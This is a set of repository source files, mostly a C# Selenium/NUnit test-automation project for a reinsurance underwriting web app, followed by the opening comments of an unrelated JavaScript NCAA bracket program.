int previousMonth = month - 1;
int fixedDay = MonthMaxLenght(previousMonth);
expDateExpected = new DateTime(year + 1, previousMonth, fixedDay);
}
else
{
expDateExpected = new DateTime(year + 1, month, day - 1);
}
DateTime expDateActual = DateTime.ParseExact(GetExpDateDisplayed(), "MM/dd/yyyy", CultureInfo.InvariantCulture);
Assert.IsTrue(expDateExpected.CompareTo(expDateActual) == 0, "The actual Expiration Date ({0}) is not the expected ({1})", GetExpDateDisplayed(), expDateExpected);
}
public string GetTreatyTypeSelected() => driver.FindElement(treatyTypeInput).Text;
public string GetUWSelected() => driver.FindElement(leadUWInput).Text;
public string GetBranchSelected()
{
branchSelect = driver.FindElement(By.XPath("//select[@formcontrolname='branchId']"));
select = new SelectElement(branchSelect);
return select.SelectedOption.Text;
}
public string GetBunitSelected()
{
bUnitSelect = driver.FindElement(By.XPath("//select[@formcontrolname='businessUnitId']"));
select = new SelectElement(bUnitSelect);
return select.SelectedOption.Text;
}
}
}
<file_sep>/Odyssey_UW_NetCore/Tests/NewProgramTest.cs
using NUnit.Framework;
using Odyssey_UW.Pages;
namespace Odyssey_UW.Tests
{
[TestFixture]
class NewProgramTest : BaseTest
{
SearchPage searchPage;
NewProgramPage newProgram;
[TestCase("cSharp PR Test", "Greystone", " Toronto", " London MAS", "PENWALT CORPORATION", "UNITED ASN SVS", "Alberto", "PR", @"Surplus/",
"March", "2016", "15")]
public void createProgram(string programName, string assComp, string branch, string bussUnit, string cedant, string broker, string leadUW,
string contractType, string treatyType, string month, string year, string day)
{
string[] selectDropValues = { assComp, branch, bussUnit };
string[] typeAheadDropValues = { treatyType, leadUW };
int yearInt = int.Parse(year);
int dayInt = int.Parse(day);
searchPage = new SearchPage(getDriver());
//newProgram = searchPage.ClickNewProgramButton();
//newProgram.SetProgramName(programName);
//newProgram.SetSelectDpd(selectDropValues);
//newProgram.SetTypeAheadDpd(typeAheadDropValues);
//newProgram.SetContractType(contractType);
//newProgram.SetEffDate(month, dayInt, yearInt);
//newProgram.VerifyExpDateDisplayed();
//newProgram.SetCedantAndBroker(cedant, broker);
//if (!newProgram.IsCedantEnabled())
//{
// Assert.AreEqual(cedant, newProgram.GetCedantSelected());
//}
//else
//{
// Assert.Fail("The field is enabled. Should be disabled after select a value ");
//}
//if (!newProgram.IsBrokerEnabled())
//{
// Assert.AreEqual(broker, newProgram.GetBrokerSelected());
//}
//else
//{
// Assert.Fail("The field is enabled. Should be disabled after select a value ");
//}
//Console.WriteLine("Branch {0}, Broker {1}, Cedant {2}, Business Unit {3}, Treaty Type {4}, Underwriter {5}", newProgram.GetBranchSelected(),
// newProgram.GetBrokerSelected(),
// newProgram.GetCedantSelected(), newProgram.GetBunitSelected(), newProgram.GetTreatyTypeSelected(), newProgram.GetUWSelected());
//newProgram.GetBranchSelected();
//newProgram.ClickCreateBtn();
searchPage.validateCreationByRecentPrograms(programName);
}
}
}
<file_sep>/Odyssey_UW_NetCore/Utils/HttpUtils.cs
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Http;
using System.Threading.Tasks;
namespace Odyssey_UW_NetCore.Utils
{
public class HttpUtils
{
private HttpClient http;
private Task<HttpResponseMessage> httpResponse;
//private HttpResponseMessage httpResponseMessage;
private HttpContent responseContent;
public HttpUtils(string URL)
{
http = new HttpClient();
Uri getUrl = new Uri(URL);
httpResponse = http.GetAsync(getUrl);
}
//private Task<HttpResponseMessage> startHttpInstance(string URL)
//{
// http = new HttpClient();
// Uri getUrl = new Uri(URL);
// return http.GetAsync(getUrl);
//}
private HttpResponseMessage getResponseMessage() => httpResponse.Result;
public int GetResponseCode() => (int)getResponseMessage().StatusCode;
public int GetResponseDataId()
{
responseContent = getResponseMessage().Content;
string result = responseContent.ReadAsStringAsync().Result;
StreamReader sr = new StreamReader(result);
string json = sr.ReadToEnd();
dynamic jsonObj = JsonConvert.DeserializeObject(json);
//dynamic obj = JsonConvert.DeserializeObject<dynamic>(result);
return jsonObj[0]["userId"];
//return responseContent.ReadAsStringAsync().Result;
}
public string GetResponseData()
{
responseContent = getResponseMessage().Content;
return responseContent.ReadAsStringAsync().Result;
}
public void writeFile(Object obj, string fileName)
{
string strJson = JsonConvert.SerializeObject(obj);
string path = $"D:\\VS\\Odyssey_UW_NetCore\\Odyssey_UW_NetCore\\JsonFile\\{fileName}.json";
using (var tw = new StreamWriter(path, true))
{
tw.WriteLine(strJson.ToString());
tw.Close();
}
//File.WriteAllText(@"D:\VS\Odyssey_UW\Odyssey_UW\Json\AffectedPrograms.json", strJson);
}
public static void Main(string[] args)
{
HttpUtils http = new HttpUtils("https://jsonplaceholder.typicode.com/posts");
Example example1 = new Example()
{
Id = 1,
Name = http.GetResponseData(),
LastName = "Gonzalez",
Age = 25
};
http.writeFile(example1, "nameExample");
// string json = JsonConvert.SerializeObject(example1);
// string path = @"D:\VS\Odyssey_UW_NetCore\Odyssey_UW_NetCore\JsonFile\example.json";
// using (var tw = new StreamWriter(path, true))
// {
// tw.WriteLine(json.ToString());
// tw.Close();
// }
//}
}
public class Example
{
public int Id { get; set; }
public string Name { get; set; }
public string LastName { get; set; }
public int Age { get; set; }
}
}
}
<file_sep>/Odyssey_UW_NetCore/Pages/ProgramEditionPage.cs
using NUnit.Framework;
using OpenQA.Selenium;
using System.Collections.Generic;
namespace Odyssey_UW.Pages
{
class ProgramEditionPage : BasePage
{
private By previousPageBtn = By.XPath("//clr-icon[@class='previous-page']");
private By layerGridTable = By.XPath("//table/tbody/tr");
private By addLayerBtn = By.XPath("//button[text()='Add Layer ']");
private By coveragePRBtn = By.XPath("//div/input[@value='option1']");
private By coverageXOLBtn = By.XPath("//div/input[@value='option2']");
private By specialTerminationBtn = By.XPath("//button[text()=' Special Termination ']");
private By terrorismSanctionsBtn = By.XPath("//button[text()=' Terrorism/ Sanctions ']");
private By riskTransferBtn = By.XPath("//button[text()=' Risk Transfer ']");
private By activeBtn = By.XPath("//button[contains(@class, 'green')]");
private By modalChangesPend = By.XPath("//h4[text()='Changes Pending']");
private By modalErrorSaving = By.XPath("//h4[text()='Error Saving']");
private By modalLeaveOption = By.XPath("//button[text()=' Leave ']");
private By modalConfirmationMessage = By.XPath("//div[@class='modal-content']");
private By unlockBtn = By.XPath("//button[contains(@class, 'btn alert-action')]");
private int numOfSections, totalRows, riskLimit, occLimit, subjPremium, cession, authShare, sigShare;
Dictionary<int, string> proRataInputFields = new Dictionary<int, string>()
{
{0, "riskLimit" },
{1, "occLimit" },
{2, "subjectPremium" },
{3, "cession" },
{4, "writtenShare" },
{5, "signedShare" },
};
public enum CoverageType { ProRata, XOL };
public enum ProRataFields { RiskLimit, OccLimit, SubjectPremium, Cession, AuthShare, SignedShare }
public enum ProRataType { _100, Ceded };
//Pro Rata fields
private By inputRiskLimit = By.XPath("//input[@formcontrolname='riskLimit']");
private By inputOccLimit = By.XPath("//input[@formcontrolname='occLimit']");
private By inputSubjPremium = By.XPath("//input[@formcontrolname='subjectPremium']");
private By inputCession = By.XPath("//input[@formcontrolname='cession']");
//private By PartOfBasisBtn = By.XPath("//label[text()='Part Of']");
private By partOfBasisBtn = By.XPath("//div/input[@formcontrolname='basis' and @ng-reflect-value='1']");
private By ofBasisBtn = By.XPath("//label[text()='Of']");
private By inputAuthShare = By.XPath("//input[@formcontrolname='writtenShare']");
private By inputSignedShare = By.XPath("//input[@formcontrolname='signedShare']");
private By calculatedOdyRiskLimit = By.XPath("//input[@formcontrolname='assumedRisk']");
private By calculatedOdyOccLimit = By.XPath("//input[@formcontrolname='occRisk']");
private By calculatedOdyPremium = By.XPath("//input[@formcontrolname='assumedPremium']");
string[] xPathProRataFields = {"//input[@formcontrolname='riskLimit']", "//input[@formcontrolname='occLimit']", "//input[@formcontrolname='subjectPremium']", "//input[@formcontrolname='cession']",
"//input[@formcontrolname='writtenShare']", "//input[@formcontrolname='signedShare']" };
//XOL fields
public ProgramEditionPage(IWebDriver driver) : base(driver)
{
}
public bool IsDisplayedEditionPage(string programNameExpected)
{
By editionPageHeader = By.XPath("//h2[contains(text(), '" + programNameExpected + "')]");
ExpectVisibility(editionPageHeader);
IWebElement header = driver.FindElement(editionPageHeader);
if (header.Displayed)
{
checkLock();
Assert.That(header.Text.Trim().Contains(programNameExpected));
//Assert.AreEqual(programNameExpected, header.Text.Trim(), "The actual header doesn't match with the expected");
return true;
}
return false;
}
public bool exitProgram()
{
driver.FindElement(previousPageBtn).Click();
SearchPage searchPage = new SearchPage(driver);
if (IsChangesPending() || IsErrorSaving())
{
return false;
}
else
{
Assert.That(searchPage.IsDisplayedSearchPage());
return true;
}
}
public bool IsChangesPending()
{
try
{
if (driver.FindElement(modalChangesPend).Displayed)
{
driver.FindElement(modalLeaveOption).Click();
return true;
}
}
catch (NoSuchElementException)
{
}
return false;
}
public bool IsErrorSaving()
{
try
{
if (driver.FindElement(modalErrorSaving).Displayed)
{
driver.FindElement(modalLeaveOption).Click();
return true;
}
}
catch (NoSuchElementException)
{
}
return false;
}
// private int totalOfLayers(CoverageType cov)
// {
// ExpectVisibility(layerGridTable);
// IList<IWebElement> layerGridTableRows = driver.FindElements(layerGridTable);
// if (haveSections())
// {
// displayAllSections();
// }
// if (cov == CoverageType.XOL && layerGridTableRows.Count > 1)
// {
// totalRows = driver.FindElements(By.XPath("//table/tbody/tr[contains(@class, 'totals')]")).Count;
// return layerGridTableRows.Count - totalRows;
// }
// else
// {
// return layerGridTableRows.Count;
// }
// }
// private bool haveSections()
// {
// try
// {
// By sectionArrows = By.XPath("//td/clr-icon[@dir='down' or @dir='right']");
// if (driver.FindElement(sectionArrows).Displayed)
// {
// numOfSections = driver.FindElements(sectionArrows).Count;
// return true;
// }
// }
// catch (NoSuchElementException)
// {
// }
// return false;
// }
// private void displayAllSections()
// {
// if (haveSections())
// {
// IWebElement sectionArrowFold = driver.FindElement(By.XPath("//td/clr-icon[@dir='right']"));
// for (int i = 1; i <= numOfSections; i++)
// {
// if (sectionArrowFold.Displayed)
// {
// sectionArrowFold.Click();
// }
// }
// }
// }
// //public void DeleteLayer(int layerNumb)
// //{
// // By deleteModal = By.XPath("//h4[text()='Delete Layer']");
// // By yesBtnModal = By.XPath("//button[text() =' Yes ']");
// // driver.FindElement(By.XPath("(//td/clr-icon[@shape ='trash'])[" + layerNumb + "]"));
// //}
// private void changeCoverage(CoverageType coverage)
// {
// try
// {
// if (driver.FindElement(coveragePRBtn).Selected && coverage == CoverageType.XOL)
// {
// driver.FindElement(coverageXOLBtn).Click();
// ExpectVisibility(modalConfirmationMessage);
// driver.FindElement(By.XPath("//button[text()=' Delete']"));
// }
// }
// catch (NoSuchElementException)
// {
// throw;
// }
// }
// public void AddLayer(CoverageType coverage, int layers)
// {
// ExpectVisibility(addLayerBtn);
// int currentLayerNumb = totalOfLayers(coverage);
// for (int i = 1; i < layers; i++)
// {
// driver.FindElement(addLayerBtn).Click();
// }
// Assert.IsTrue(currentLayerNumb + layers == totalOfLayers(coverage));
// }
private void checkLock()
{
try
{
if (driver.FindElement(By.XPath("//div[contains(text(), 'You')]")).Displayed)
{
unlockProgram();
}
}
catch (NoSuchElementException)
{
}
}
private void unlockProgram()
{
driver.FindElement(unlockBtn).Click();
ExpectInvisibility(unlockBtn);
}
// private void checkCoverageType()
// {
// IWebElement pRCoverage = driver.FindElement(radioBtnCoverage);
// if (pRCoverage.Selected)
// {
// Assert.AreEqual("Prorata Structure", driver.FindElement(By.XPath("//div[contains(@class, 'heading')]")).Text);
// }
// }
// public void selectPRType(ProRataType type)
// {
// if (type == ProRataType._100)
// {
// Assert.IsTrue(driver.FindElement(By.XPath("//input[@formcontrolname='prorataStructureType' and @ng-reflect-value='0']")).Selected);
// IList<IWebElement> basisBtns = driver.FindElements(partOfBasisBtn);
// }
// }
// //public void EnterPRValues(string riskL, string occL, string subPremium, string cession, string authShare, string sigShare)
// //{
// // scrollAllDown();
// // IWebElement[] elements = new IWebElement[xPathProRataFields.Length];
// // string[] inputNumbers = { riskL, occL, subPremium, cession, authShare, sigShare };
// // for (int i = 0; i < xPathProRataFields.Length; i++)
// // {
// // elements[i] = driver.FindElement(By.XPath(xPathProRataFields[i]));
// // elements[i].SendKeys(inputNumbers[i]);
// // }
// //}
// public void EnterPRValues(int layerNumber, int riskL, int occL, int subPremium, int cession, int authShare, int sigShare)
// {
// riskLimit = riskL; occLimit = occL; subjPremium = subPremium; this.cession = cession; this.authShare = authShare; this.sigShare = sigShare;
// scrollAllDown();
// IWebElement riskLField = driver.FindElement(By.XPath("(//input[@formcontrolname='riskLimit'])[" + layerNumber + "])"));
// //IWebElement[] elements = new IWebElement[xPathProRataFields.Length];
// int[] inputNumbers = { riskL, occL, subPremium, cession, authShare, sigShare };
// for (int i = 0; i < xPathProRataFields.Length; i++)
// {
// elements[i] = driver.FindElement(By.XPath(xPathProRataFields[i]));
// elements[i].SendKeys(inputNumbers[i].ToString());
// }
// }
// private void setRiskLimitValue(int layerNumber)
// {
// IWebElement element = driver.FindElement(By.XPath("(//input[@formcontrolname='riskLimit'])[" + layerNumber + "])"));
// string value = element.GetAttribute("value");
// if (!string.IsNullOrEmpty(value))
// {
// riskLimit = int.Parse(element.Text);
// return riskLimit;
// }
// }
// public int GetRiskLimitValue(int layerNumber)
// {
// IWebElement element = driver.FindElement(By.XPath("(//input[@formcontrolname='riskLimit'])[" + layerNumber + "])"));
// string value = element.GetAttribute("value");
// if (!string.IsNullOrEmpty(value))
// {
// riskLimit = int.Parse(element.Text);
// return riskLimit;
// }
// return 0;
// }
// public int GetOccLimitValue(int layerNumber)
// {
// IWebElement element = driver.FindElement(By.XPath("(//input[@formcontrolname='occLimit'])[" + layerNumber + "])"));
// string value = element.GetAttribute("value");
// if (!string.IsNullOrEmpty(value))
// {
// occLimit = int.Parse(element.Text);
// return occLimit;
// }
// return 0;
// }
// public int GetSignedShareValue(int layerNumber)
// {
// IWebElement element = driver.FindElement(By.XPath("(//input[@formcontrolname='signedShare'])[" + layerNumber + "])"));
// string value = element.GetAttribute("value");
// if (!string.IsNullOrEmpty(value))
// {
// sigShare = int.Parse(element.Text);
// return sigShare;
// }
// return 0;
// }
// public int GetOdyRiskLimitValue(int layerNumber)
// {
// IWebElement element = driver.FindElement(By.XPath("(//input[@formcontrolname='assumedRisk'])[" + layerNumber + "])"));
// string value = element.GetAttribute("value");
// if (!string.IsNullOrEmpty(value))
// {
// sigShare = int.Parse(element.Text);
// return sigShare;
// }
// return 0;
// }
// public int GetFieldValue(int layerNumber, ProRataFields field)
// {
// switch (field)
// {
// case ProRataFields.RiskLimit:
// return int.Parse(driver.FindElement(By.XPath($"(//input[@formcontrolname='{proRataInputFields[0]}'])[" + layerNumber + "])")).Text);
// break;
// case ProRataFields.OccLimit:
// break;
// case ProRataFields.SubjectPremium:
// break;
// case ProRataFields.Cession:
// break;
// case ProRataFields.AuthShare:
// break;
// case ProRataFields.SignedShare:
// break;
// default:
// break;
// }
// if(field==ProRataFields.RiskLimit)
// {
// fieldName = fieldName.ToLower();
// }
// }
// private int odyRiskLimitResult(int layerNumber)
// {
// int valueRiskLimit = GetRiskLimitValue(layerNumber);
// valueRiskLimit
// int valueSignedShare = GetSignedShareValue(layerNumber);
// if (valueRiskLimit != 0 && valueSignedShare != 0)
// {
// return valueRiskLimit * valueSignedShare / 100;
// //return Math.Round(result);
// }
// return 0;
// }
// public void CheckPRCalculations(int layer)
// {
// IWebElement odyElement = driver.FindElement(calculatedOdyRiskLimit);
// int odyRiskActual = int.Parse(odyElement.Text);
// Assert.AreEqual(odyRiskLimitResult(layer), odyRiskActual);
// Assert.IsTrue(string.IsNullOrEmpty(odyRiskLimit.GetAttribute("value")));
// int valueRiskLimit = GetRiskLimitValue(layer);
// int valueSignedShare = GetSignedShareValue(layer);
// IWebElement odyRiskLimit = driver.FindElement(calculatedOdyRiskLimit);
// if (valueRiskLimit != 0 && valueSignedShare != 0)
// {
// int odyRiskResult = valueRiskLimit * valueSignedShare / 100;
// int odyRiskActual = int.Parse(odyRiskLimit.Text);
// Assert.AreEqual(odyRiskResult, odyRiskActual);
// }
// else
// {
// Assert.IsTrue(string.IsNullOrEmpty(odyRiskLimit.GetAttribute("value")));
// }
// }
// public void BoundLayer(CoverageType coverage, string[] values)
// {
// if (coverage == CoverageType.ProRata)
// {
// }
// }
//}
}
}
<file_sep>/Odyssey_UW_NetCore/Pages/LoginPage.cs
using NUnit.Framework;
using OpenQA.Selenium;
namespace Odyssey_UW.Pages
{
class LoginPage : BasePage
{
private By userName = By.Id("okta-signin-username");
private By passWord = By.Id("<PASSWORD>-signin-<PASSWORD>");
private By loginButton = By.Id("okta-signin-submit");
private By uWBtn = By.XPath("//a[text()='Underwriting']");
private By loginSuccessful = By.XPath("//h1[contains(text(),'Welcome')]");
private SearchPage searchPage;
public LoginPage(IWebDriver driver) : base(driver)
{
}
public void RegisterUser(string user, string pass)
{
ExpectVisibility(userName);
driver.FindElement(userName).SendKeys(user);
driver.FindElement(passWord).SendKeys(pass);
driver.FindElement(loginButton).Click();
}
public SearchPage EnterUWPage()
{
ExpectVisibility(loginSuccessful);
IWebElement message = driver.FindElement(loginSuccessful);
if (message.Displayed)
{
Assert.AreEqual("Welcome to the Phoenix Reinsurance System", message.Text);
driver.FindElement(uWBtn).Click();
searchPage = new SearchPage(driver);
}
return searchPage;
}
}
}
<file_sep>/Odyssey_UW_NetCore/Utils/ProgramObj.cs
namespace Odyssey_UW_NetCore
{
class ProgramObj
{
public int Id { get; set; }
public string ProgName { get; set; }
public int ResponseCode { get; set; }
public string Data { get; set; }
}
}
<file_sep>/Odyssey_UW_NetCore/Pages/BasePage.cs
using OpenQA.Selenium;
using OpenQA.Selenium.Interactions;
using OpenQA.Selenium.Support.Extensions;
using OpenQA.Selenium.Support.UI;
using System;
namespace Odyssey_UW.Pages
{
class BasePage
{
protected IWebDriver driver;
protected WebDriverWait wait;
protected IJavaScriptExecutor js;
protected DefaultWait<IWebDriver> fluentWait;
public BasePage(IWebDriver driver)
{
this.driver = driver;
wait = new WebDriverWait(driver, TimeSpan.FromSeconds(20));
}
private IJavaScriptExecutor setJSExecutor()
{
return js = (IJavaScriptExecutor)driver;
}
IWebElement elemByXPath(string name) => driver.FindElement(By.XPath($"//label[text()='{name}']"));
//public IIWebElement GetElemXPath(string name)
//{
// //if(name.Contains(" "))
// // {
// // XPath.Replace(" ", "+");
// // }
// return elemByXPath(name);
//}
protected void ExpectVisibility(By locator)
{
wait.Until(SeleniumExtras.WaitHelpers.ExpectedConditions.ElementIsVisible(locator));
}
protected string GetCurrentUrl()
{
return driver.Url;
}
protected IWebElement FluentWait(string xpathLocator)
{
fluentWait = new DefaultWait<IWebDriver>(driver);
fluentWait.Timeout = TimeSpan.FromSeconds(10);
fluentWait.PollingInterval = TimeSpan.FromSeconds(2);
fluentWait.IgnoreExceptionTypes(typeof(NoSuchElementException));
return fluentWait.Until(x => x.FindElement(By.XPath(xpathLocator)));
}
protected void ExpectInvisibility(By locator)
{
wait.Until(SeleniumExtras.WaitHelpers.ExpectedConditions.InvisibilityOfElementLocated(locator));
}
protected void ExpectElementToBeClickable(By locator)
{
wait.Until(SeleniumExtras.WaitHelpers.ExpectedConditions.ElementToBeClickable(locator));
}
protected void SearchValues(By[] locator, string[] value, By spinner)
{
for (int i = 0; i < locator.Length; i++)
{
ExpectVisibility(locator[i]);
driver.FindElement(locator[i]).SendKeys(value[i] + Keys.Enter);
ExpectInvisibility(spinner);
}
}
protected bool IsEnabled(By locator)
{
return driver.FindElement(locator).Enabled;
}
protected void scrollAllDown()
{
setJSExecutor();
js.ExecuteScript("window.scrollTo(0, document.body.scrollHeight);");
}
protected void scrollToElement(By elementToView)
{
setJSExecutor();
var element = driver.FindElement(elementToView);
js.ExecuteScript("arguments[0].scrollIntoView(true);", element);
}
protected void unlockProgram()
{
By unlockBtn = By.XPath("//button[contains(@class, 'btn alert-action')]");
driver.FindElement(unlockBtn).Click();
ExpectInvisibility(unlockBtn);
}
protected void clearInput(By locator)
{
Actions actions = new Actions(driver);
actions.Click(driver.FindElement(locator))
.KeyDown(Keys.Control)
.SendKeys("a")
.KeyUp(Keys.Control)
.SendKeys(Keys.Backspace)
.Build()
.Perform();
}
}
}
<file_sep>/Odyssey_UW_NetCore/Pages/SearchPage.cs
using NUnit.Framework;
using OpenQA.Selenium;
using System.Collections.Generic;
using Newtonsoft.Json;
using System.IO;
using Odyssey_UW_NetCore;
using Odyssey_UW_NetCore.Utils;
using System;
namespace Odyssey_UW.Pages
{
class SearchPage : BasePage
{
private By newProgramBtn = By.XPath("//button[@routerlink='/underwriting/view/0/summary']");
private By headerSearchPage = By.XPath("//h2[contains(text(), 'Treaty Programs')]");
private By searchbox = By.XPath("//input[@type='search']");
private By searchButton = By.CssSelector(".btn-primary");
private By nextPageBtn = By.XPath("//clr-icon[@shape='angle right']");
private By inputPageNumber = By.XPath("//input[contains(@class, 'pagination-current')]");
private By totalPages = By.XPath("//span[@aria-label='Total Pages']");
private By noProgramsFound = By.XPath("//div[text()='No programs found.']");
private By firstRecentProgram = By.XPath("//div[@class='recent_item']");
private By searchTable = By.XPath("//div[@class='datagrid-inner-wrapper']");
private By searchBranch = By.XPath("//label[text()=' All Branches ']");
private By searchUWYear = By.XPath("//label[text()=' All UW Year ']");
private By searchBusUnit = By.XPath("//label[text()=' All Business Units ']");
private By searchStatus = By.XPath("//label[text()=' All Status ']");
private By previousPageBtn = By.XPath("//clr-icon[@class='previous-page']");
NewProgramPage newProgramPage;
ProgramEditionPage editionPage;
private By nextPageButton = By.CssSelector(".pagination-next");
//List<IIWebElement> table_rows = driver.findElements(By.XPath("//div[@role='grid']/clr-dg-row"));
public SearchPage(IWebDriver driver) : base(driver)
{
}
public bool IsDisplayedSearchPage()
{
ExpectVisibility(headerSearchPage);
IWebElement headerSearch = driver.FindElement(headerSearchPage);
if (headerSearch.Displayed)
{
return true;
}
return false;
}
public NewProgramPage ClickNewProgramButton()
{
ExpectVisibility(newProgramBtn);
driver.FindElement(newProgramBtn).Click();
NewProgramPage newProgramPage = new NewProgramPage(driver);
if (newProgramPage.IsDisplayedNewProgramPage())
{
return newProgramPage;
}
else
{
Assert.Fail("The New Program Page isn't displayed");
return null;
}
}
private int getTotalPages()
{
ExpectVisibility(totalPages);
var number = driver.FindElement(totalPages).Text;
int converted = Convert.ToInt32(number);
return converted;
}
private void searchByName(string programName)
{
ExpectVisibility(searchbox);
driver.FindElement(searchbox).SendKeys(programName + Keys.Enter);
ExpectElementToBeClickable(searchButton);
}
public void validateCreationByRecentPrograms(string nameProgram)
{
ExpectVisibility(firstRecentProgram);
scrollToElement(firstRecentProgram);
IWebElement recentProgramCreated = driver.FindElement(firstRecentProgram);
string nameRecentProgram = driver.FindElement(By.XPath("//div[@class='recent_item']/p")).Text;
//if (nameRecentProgram.Trim().Equals(nameProgram))
//{
recentProgramCreated.Click();
editionPage = new ProgramEditionPage(driver);
Assert.IsTrue(editionPage.IsDisplayedEditionPage(nameProgram));
//}
//else
//{
// Assert.Fail("The recent Program: {0} doesn't match with the name of the Program created: {1}", nameRecentProgram.Trim(), nameProgram);
//}
}
public void searchProgramCreated(string nameProgram)
{
searchByName(nameProgram);
IList<IWebElement> table_rows = driver.FindElements(By.XPath("//div[@role='grid']/clr-dg-row"));
if (table_rows.Count > 10)
for (int i = 1; i < getTotalPages(); i++)
{
for (int j = 1; j <= table_rows.Count; j++)
{
string colName, colTreaty, colEffDate, colUW, colBusUnit, colBranch;
colName = driver.FindElement(By.XPath("//clr-dg-row[" + i + "]//div[@class='datagrid-scrolling-cells']/clr-dg-cell[2]")).Text;
colTreaty = driver.FindElement(By.XPath("//clr-dg-row[" + i + "]//div[@class='datagrid-scrolling-cells']/clr-dg-cell[3]")).Text;
colEffDate = driver.FindElement(By.XPath("//clr-dg-row[" + i + "]//div[@class='datagrid-scrolling-cells']/clr-dg-cell[4]")).Text;
colUW = driver.FindElement(By.XPath("//clr-dg-row[" + i + "]//div[@class='datagrid-scrolling-cells']/clr-dg-cell[5]")).Text;
colBusUnit = driver.FindElement(By.XPath("//clr-dg-row[" + i + "]//div[@class='datagrid-scrolling-cells']/clr-dg-cell[6]")).Text;
colBranch = driver.FindElement(By.XPath("//clr-dg-row[" + i + "]//div[@class='datagrid-scrolling-cells']/clr-dg-cell[7]")).Text;
if (driver.FindElement(noProgramsFound).Displayed)
{
Assert.Fail("The Program {0} was not created", nameProgram);
}
else if (colName.Equals(newProgramPage.GetProgramName()) && colTreaty.Equals(newProgramPage.GetTreatyTypeSelected()) && colEffDate.Equals(newProgramPage.GetEffDateDisplayed())
&& colUW.Equals(newProgramPage.GetUWSelected()) && colBusUnit.Equals(newProgramPage.GetBunitSelected()) && colBranch.Equals(newProgramPage.GetBranchSelected()))
{
int programId = int.Parse(driver.FindElement(By.XPath("//clr-dg-row[" + i + "]//div[@class='datagrid-scrolling-cells']/clr-dg-cell[1]")).Text);
table_rows[i].Click();
break;
}
//nextPageButton.Click();
}
}
}
private void enterPageNumber(int pageNum)
{
ExpectVisibility(inputPageNumber);
clearInput(inputPageNumber);
IWebElement element = driver.FindElement(inputPageNumber);
element.SendKeys(pageNum + Keys.Enter);
}
public void checkAllPrograms()
{
if (IsDisplayedSearchPage())
{
int currentPage = 1;
IWebElement program;
string colName;
int totalPages = getTotalPages();
for (int i = 49; i < totalPages; i++)
{
IList<IWebElement> table_rows = driver.FindElements(By.XPath("//div[@role='grid']/clr-dg-row"));
for (int j = 1; j <= table_rows.Count; j++)
{
ExpectVisibility(searchTable);
//int pageNumber = int.Parse(driver.FindElement(By.XPath("//input[@aria-label='Current Page']")).GetAttribute("value"));
program = driver.FindElement(By.XPath($"//div[@role='grid']/clr-dg-row[{j}]"));
colName = driver.FindElement(By.XPath($"//clr-dg-row[{j}]//div[@class='datagrid-scrolling-cells']/clr-dg-cell[2]")).Text;
program.Click();
editionPage = new ProgramEditionPage(driver);
Assert.That(editionPage.IsDisplayedEditionPage(colName));
//if (!editionPage.exitProgram())
//{
HttpUtils http = new HttpUtils(GetCurrentUrl());
ProgramObj affectedProgram = new ProgramObj()
{
//Id = http.GetResponseDataId(),
ProgName = colName,
ResponseCode = http.GetResponseCode(),
Data = http.GetResponseData()
};
http.writeFile(affectedProgram, "AffectedPrograms");
//}
}
currentPage++;
enterPageNumber(currentPage);
}
}
}
}
}
|
7aa1daa96d5e860fad247f9437262baf236e6fae
|
[
"C#"
] | 10
|
C#
|
ailinSwitch/OdysseyProject
|
0bddee2becb0c1aef99369686a40ba988f0c0c8a
|
6dca57e75f73c549b59b9fed506a9dc836872075
|
refs/heads/master
|
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class UI_Panel : MonoBehaviour {
// Use this for initialization
public SwipeSystem swipeControls;
public Animator Panel01;
private void Update()
{
if(swipeControls.SwipeDown)
Panel01.SetBool("open",true);
if(swipeControls.SwipeUp)
Panel01.SetBool("open",false);
}
}
|
4109a2790cacd4b41f74af2b6beea519ab09bf71
|
[
"C#"
] | 1
|
C#
|
esimin/UnitySystem
|
300f5c68959386ae859e8ef98adc357af48b9e9e
|
9b8e328990c954634fd53a4e016c774332dd826a
|
refs/heads/main
|
<file_sep>import java.util.Scanner; // imports scanner class
import java.lang.*; // allows to use parseInt
public class EvenOdd {
// declare variables
int evenOdd;
public EvenOdd(int num) {
evenOdd = num;
}
public String calculateEvenOdd() {
if (evenOdd % 2 == 0) {
return "even";
} else {
return "odd";
}
}
public static void main(String[] args) {
System.out.println("Enter a number to see if it is even or odd. ");
Scanner numScan = new Scanner(System.in);
int num = numScan.nextInt();
EvenOdd numCalculator = new EvenOdd(num);
String isEvenOdd = numCalculator.calculateEvenOdd();
System.out.println("The number is " + isEvenOdd + ".");
}
}
<file_sep>public class SaddleHeight {
// declare variables
double inseamLength;
double saddleHeight;
public SaddleHeight(double i) {
inseamLength = i;
}
public double calculateHeight() {
return inseamLength * 0.885;
}
// main method
public static void main(String[] args) {
SaddleHeight saddle = new SaddleHeight(84);
double saddleHeight = saddle.calculateHeight();
// print saddle height
System.out.println("Your saddle height is " + saddleHeight + ".");
}
}
|
dcb2d40d6047ea48c803264cee84f4a38ff64487
|
[
"Java"
] | 2
|
Java
|
Tunkert/java-programs
|
44d39cf15d914340c28fc4593defcd06a33cd32e
|
77768dc1a8c05fdcd15735163cf9983ce5e58943
|
refs/heads/master
|
<file_sep>import { Injectable } from '@angular/core';
import { Stitch, AnonymousCredential } from 'mongodb-stitch-browser-sdk';
@Injectable({
providedIn: 'root'
})
export class StitchService {
private client = Stitch.initializeDefaultAppClient('foodlense-api-ctyle');
constructor() {
this.loginAnonymously();
console.log('stitch constructor', this.client);
}
private loginAnonymously() {
this.client.auth.loginWithCredential(new AnonymousCredential());
}
public loginWithCredentials() {
}
}
|
9e776ce1d70ad23cd2bb5ea4fa75e4f4eca42662
|
[
"TypeScript"
] | 1
|
TypeScript
|
foodlense/foodlensemvp
|
3816bc583e843a64059a69a1052edf5ab6dcc35b
|
21876f4eed5695909734c79cc760325797e4ad9d
|
refs/heads/master
|
<repo_name>mcdougal/ncaa-brackets<file_sep>/ncaa_brackets.js
// High level: there are 2 main ways to manage state in a program: functional and
// imperative. This program is kind of using concepts from both, which results in
// code that is harder to reason about. Here's the rough breakdown:
//
// Functional Programming
// ----------------------
// Instances of objects are never changed. You have a `regions` object that you are
// changing throughout the program. In a functional world, your code might look like:
//
// var regions = initRegions();
//
// $('.playRoundsBtn').click(function() {
// regions = playRounds(regions);
// });
//
//
// $('.playFinalFourBtn').click(function() {
// regions = playFinalFour(regions);
// });
//
// Notice that instead of modifying regions directly, our functions are taking the
// current regions, modifying them in some black box, and returning _new_ regions
